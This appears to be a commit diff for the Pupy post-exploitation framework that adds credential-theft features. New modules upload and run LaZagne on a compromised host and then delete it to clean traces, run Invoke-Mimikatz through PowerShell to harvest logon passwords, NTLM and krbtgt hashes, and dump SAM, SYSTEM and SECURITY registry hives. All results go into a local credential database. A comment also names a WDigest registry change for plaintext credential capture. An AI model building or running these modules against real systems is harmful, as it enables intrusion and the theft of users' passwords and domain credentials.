new features

pupy/modules/creddump.py

@@ -15,7 +15,7 @@
 
 from pupylib.PupyModule import *
 from pupylib.PupyCompleter import *
-
+from pupylib.utils.credentials import Credentials
 from modules.lib.utils.shell_exec import shell_exec
 
 from rpyc.utils.classic import download
@@ -55,7 +55,7 @@ class CredDump(PupyModule):
         for cmd in ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM /y", "reg save HKLM\\SECURITY %TEMP%/SECURITY /y", "reg save HKLM\\SAM %TEMP%/SAM /y"):
             self.info("running %s..." % cmd)
             self.log(shell_exec(self.client, cmd))
-        self.success("hives saved!")            
+        self.success("hives saved!")
         remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")
         
         self.info("downloading SYSTEM hive...")
@@ -107,11 +107,17 @@ class CredDump(PupyModule):
         self.success("dumping LM and NT hashes...")
         bootkey = get_bootkey(sysaddr)
         hbootkey = get_hbootkey(samaddr,bootkey)
+        hashes = []
         for user in get_user_keys(samaddr):
             lmhash, nthash = get_user_hashes(user,hbootkey)
             if not lmhash: lmhash = empty_lm
             if not nthash: nthash = empty_nt
             self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
+            hashes.append({'hashes': "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')), 'Tool': 'Creddump'})
+        
+        db = Credentials()
+        db.add(hashes)
+        self.success("Hashes stored on the database")
         
         self.success("dumping lsa secrets...")
         secrets = get_file_secrets(os.path.join(rep, "SYSTEM"), os.path.join(rep, "SECURITY"), is_vista)

pupy/modules/creds.py

@@ -0,0 +1,28 @@
+from pupylib.PupyModule import *
+from pupylib.utils.credentials import Credentials
+import os
+
+__class_name__="Creds"
+ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
+
+# @config(category="admin")
+class Creds(PupyModule):
+    """ database containing all passwords found """
+    
+    def init_argparse(self):
+        self.arg_parser = PupyArgumentParser(prog="Creds", description=self.__doc__)
+        self.arg_parser.add_argument('--show','-S',  action='store_true', help='print all passwords on the database')
+        self.arg_parser.add_argument('--flush', '-F', action='store_true', help='flush the entire database')
+    
+    def run(self, args):
+        if args.flush:
+            warning = raw_input("[!] Are you sure to flush the database ? [y/N]")
+            if warning == 'y':
+                Credentials().flush()
+                self.success("Database removed")
+            else:
+                 self.warning("Nothing done")
+        elif args.show:
+            Credentials().show()
+
+        

pupy/modules/lazagne.py

@@ -0,0 +1,110 @@
+# -*- coding: UTF8 -*-
+from pupylib.PupyModule import *
+from pupylib.PupyCompleter import *
+from rpyc.utils.classic import upload
+from pupylib.utils.credentials import Credentials
+import tempfile
+import subprocess
+import os.path
+
+__class_name__="LaZagne"
+
+@config(cat="exploit")
+class LaZagne(PupyModule):
+    """ 
+        execute LaZagne (Windows / Linux)
+    """
+    def init_argparse(self):
+        self.arg_parser = PupyArgumentParser(prog="lazagne", description=self.__doc__)
+
+    def run(self, args):
+        platform=self.client.desc["platform"]
+        isWindows = True
+        if "Windows" in platform:
+            lazagne_path = self.client.pupsrv.config.get("lazagne","win")
+        elif "Linux" in platform:
+            isWindows = False
+            if "64" in self.client.desc["os_arch"]:
+                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
+            else:
+                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
+        else:
+            self.error("Platform not supported")
+            return
+
+        if not os.path.isfile(lazagne_path):
+            self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
+            self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
+            return
+
+        tf = tempfile.NamedTemporaryFile()
+        dst = tf.name
+        if isWindows:
+            remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%")
+            tfName = tf.name.split(os.sep)
+            tfName = tfName[len(tfName)-1] + '.exe'
+            dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName)
+        tf.file.close()
+
+        self.success("Uploading laZagne to: %s" % dst)
+        upload(self.client.conn, lazagne_path, dst)
+
+        if not isWindows:
+            self.success("Adding execution permission")
+            cmd = ["chmod", "+x", dst]
+            output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
+
+        self.success("Executing")
+        cmd = [dst, "all"]
+        output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
+        self.success("%s" % output)
+        
+        creds = self.parse_output(output)
+        db = Credentials()
+        db.add(creds)
+        self.success("Passwords stored on the database")
+        
+        self.success("Cleaning traces")
+        self.client.conn.modules['os'].remove(dst)
+
+    def parse_output(self, output):
+        creds = []
+        toSave = False
+        ishashes = False
+        cpt = 0
+        for line in output.split('\n'):
+            if not toSave:
+                if "##########" in line:
+                    user='%s' % line.replace('##########', '').split(':')[1].strip()
+
+                if "---------" in line:
+                    category='%s' % line.replace('-', '').strip()
+
+                if " found !!!" in line:
+                    toSave = True
+                    cred = {}
+            else:
+                if not line or line == '\r':
+                    if ishashes:
+                        cpt+=1
+                    if cpt > 1 or not ishashes:
+                        toSave = False
+                        ishashes = False
+                        if cred:
+                            cred['Tool']="LaZagne"
+                            cred['System user'] = user
+                            cred['Category'] = category
+                            creds.append(cred)
+                else:
+                    # not store hashes => creddump already does it
+                    if not ishashes:
+                        if "hashes: " in line:
+                            ishashes = True
+                            cpt = 0
+                        else:
+                            try:
+                                key, value = line.split(':', 1)
+                                cred[key] = value.strip()
+                            except:
+                                pass                    
+        return creds

pupy/modules/lib/windows/powershell_upload.py

@@ -20,10 +20,11 @@ def execute_powershell_script(module, content, function):
     p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
     p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
     p.stdin.write("Write-Host $b\n")
-    
+
     # Get the result
     output = ""
     for i in p.stdout.readline():
         output += i
     output = base64.b64decode(output)
-    return output
+    p.stdin.write("exit\n")
+    return output

pupy/modules/mimikatz_powershell.py

@@ -0,0 +1,163 @@
+# -*- coding: UTF8 -*-
+from pupylib.PupyModule import *
+import os
+import re
+from modules.lib.windows.powershell_upload import execute_powershell_script
+from pupylib.utils.credentials import Credentials
+
+__class_name__="Mimikatz_Powershell"
+ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
+
+@config(compat="windows", category="admin")
+class Mimikatz_Powershell(PupyModule):
+    """ 
+        execute mimikatz using powershell
+    """
+    
+    def init_argparse(self):
+        self.arg_parser = PupyArgumentParser(prog="Mimikatz_Powershell", description=self.__doc__)
+
+    def run(self, args):
+        
+        # check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
+
+        content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read()
+        function = 'Invoke-Mimikatz'
+
+        output = execute_powershell_script(self, content, function)
+        
+        self.success("%s" % output)
+        
+        creds = self.parse_mimikatz(output)
+        db = Credentials()
+        db.add(creds)
+        self.success("Credentials stored on the database")
+
+    def parse_mimikatz(self, data):
+        """
+        Parse the output from Invoke-Mimikatz to return credential sets.
+        This was directly stolen from the Empire project as well.
+        """
+
+        # cred format:
+        #   credType, domain, username, password, hostname, sid
+        creds = []
+
+        # regexes for "sekurlsa::logonpasswords" Mimikatz output
+        regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)"]
+
+        hostDomain = ""
+        domainSid = ""
+        hostName = ""
+
+        lines = data.split("\n")
+        for line in lines[0:2]:
+            if line.startswith("Hostname:"):
+                try:
+                    domain = line.split(":")[1].strip()
+                    temp = domain.split("/")[0].strip()
+                    domainSid = domain.split("/")[1].strip()
+
+                    hostName = temp.split(".")[0]
+                    hostDomain = ".".join(temp.split(".")[1:])
+                except:
+                    pass
+
+        for regex in regexes:
+
+            p = re.compile(regex)
+
+            for match in p.findall(data):
+
+                lines2 = match.split("\n")
+                username, domain, password = "", "", ""
+                
+                for line in lines2:
+                    try:
+                        if "Username" in line:
+                            username = line.split(":",1)[1].strip()
+                        elif "Domain" in line:
+                            domain = line.split(":",1)[1].strip()
+                        elif "NTLM" in line or "Password" in line:
+                            password = line.split(":",1)[1].strip()
+                    except:
+                        pass
+
+                if username != "" and password != "" and password != "(null)":
+                    
+                    sid = ""
+
+                    # substitute the FQDN in if it matches
+                    if hostDomain.startswith(domain.lower()):
+                        domain = hostDomain
+                        sid = domainSid
+
+                    if self.validate_ntlm(password):
+                        credType = "hash"
+
+                    else:
+                        credType = "password"
+
+                    # ignore machine account plaintexts
+                    if not (credType == "password" and username.endswith("$")):
+                        creds.append({'domain': domain, 'user': username, credType:password, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
+
+        if len(creds) == 0:
+            # check if we have lsadump output to check for krbtgt
+            # happens on domain controller hashdumps
+            for x in xrange(8,13):
+                if lines[x].startswith("Domain :"):
+
+                    domain, sid, krbtgtHash = "", "", ""
+
+                    try:
+                        domainParts = lines[x].split(":")[1]
+                        domain = domainParts.split("/")[0].strip()
+                        sid = domainParts.split("/")[1].strip()
+
+                        # substitute the FQDN in if it matches
+                        if hostDomain.startswith(domain.lower()):
+                            domain = hostDomain
+                            sid = domainSid
+
+                        for x in xrange(0, len(lines)):
+                            if lines[x].startswith("User : krbtgt"):
+                                krbtgtHash = lines[x+2].split(":")[1].strip()
+                                break
+
+                        if krbtgtHash != "":
+                            creds.append({'domain': domain, 'user': user, 'krbtgt hash': krbtgtHash, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
+                    except Exception as e:
+                        pass
+
+        if len(creds) == 0:
+            # check if we get lsadump::dcsync output
+            if '** SAM ACCOUNT **' in lines:
+                domain, user, userHash, dcName, sid = "", "", "", "", ""
+                for line in lines:
+                    try:
+                        if line.strip().endswith("will be the domain"):
+                            domain = line.split("'")[1]
+                        elif line.strip().endswith("will be the DC server"):
+                            dcName = line.split("'")[1].split(".")[0]
+                        elif line.strip().startswith("SAM Username"):
+                            user = line.split(":")[1].strip()
+                        elif line.strip().startswith("Object Security ID"):
+                            parts = line.split(":")[1].strip().split("-")
+                            sid = "-".join(parts[0:-1])
+                        elif line.strip().startswith("Hash NTLM:"):
+                            userHash = line.split(":")[1].strip()
+                    except:
+                        pass
+
+                if domain != "" and userHash != "":
+                    creds.append({'domain': domain, 'user': user, 'hash': userHash, 'dcName': dcName, 'sid':sid, 'Tool': 'mimikatz'})
+
+        return creds
+
+    def validate_ntlm(self, data):
+        allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
+        if allowed.match(data):
+            return True
+        else:
+            return False

pupy/pupy.conf

@@ -22,6 +22,11 @@ sound_player = totem
 exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
 exe_x64=/usr/share/mimikatz/x64/mimikatz.exe
 
+[lazagne]
+win=/usr/share/lazagne/laZagne.exe
+linux_32=/usr/share/lazagne/LaZagne-32bits
+linux_64=/usr/share/lazagne/LaZagne-64bits
+
 [aliases]
 info = get_info
 pyexec = pyexec
@@ -35,3 +40,4 @@ getpid = getpid
 getppid = getppid
 pwd = pyexec -c 'import os;print os.getcwd()'
 #tasklist = shell_exec 'tasklist /v'
+creds = creds -S

pupy/pupylib/PupyJob.py

@@ -80,13 +80,17 @@ class ThreadPool(object):
 
     def join(self):
         while True:
-            allok=True
-            for t in self.thread_pool:
-                if t.isAlive():
-                    t.join(0.5)
-                    allok=False
-            if allok:
-                break
+            try:
+                allok=True
+                for t in self.thread_pool:
+                    if t.isAlive():
+                        t.join(0.5)
+                        allok=False
+                if allok:
+                    break
+            except KeyboardInterrupt:
+                print "Press [ENTER] to interrupt the job"
+                pass
 
     def all_finished(self):
         for t in self.thread_pool:

pupy/pupylib/utils/credentials.py

@@ -0,0 +1,65 @@
+import os
+import json
+
+class Credentials():
+    def __init__(self):
+        ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "..", "db"))
+        dbName = 'creds.json'
+
+        # check if the db exists
+        self.db = ROOT + os.sep + dbName
+        if not os.path.exists(ROOT):
+            os.makedirs(ROOT)
+
+        if not os.path.exists(self.db):
+            f = open(self.db, "w")
+            f.write('{"creds": []}')
+            f.close()
+
+    # check if dictionnary already exists in dictionnary_tab
+    def checkIfExists(self, dictionnary, dictionnary_tab):
+        for d in dictionnary_tab:
+            shared_items = set(d.items()) & set(dictionnary.items())
+            if len(shared_items) == len(d):
+                return True
+        return False
+
+    def add(self, data):
+        with open(self.db) as json_db:
+            db = json.load(json_db)
+        
+        for d in data:
+            if not self.checkIfExists(d, db['creds']):
+                db['creds'].append(d)
+
+        with open(self.db, 'w') as json_db: 
+            json_db.write(json.dumps(db))
+
+    def show(self):
+        tool = ""
+        with open(self.db) as json_db:    
+            data = json.load(json_db)
+        
+        # List sorted by Tools
+        data = sorted(data['creds'], key=lambda d: d["Tool"], reverse=True)
+        for creds in data:
+            if "Tool" in creds:
+                if tool != creds["Tool"]:
+                    print '\n---------- %s ---------- \n' % creds["Tool"]
+                    tool = creds["Tool"]
+                del creds["Tool"]
+            
+            if tool == 'Creddump':
+                for cred in creds:
+                    if creds[cred]:
+                        print '%s' % creds[cred]
+            else:
+                for cred in creds:
+                    if creds[cred]:
+                        print '%s: %s' % (cred, creds[cred])
+                print
+        print
+
+    def flush(self):
+        if os.path.exists(self.db):
+            os.remove(self.db)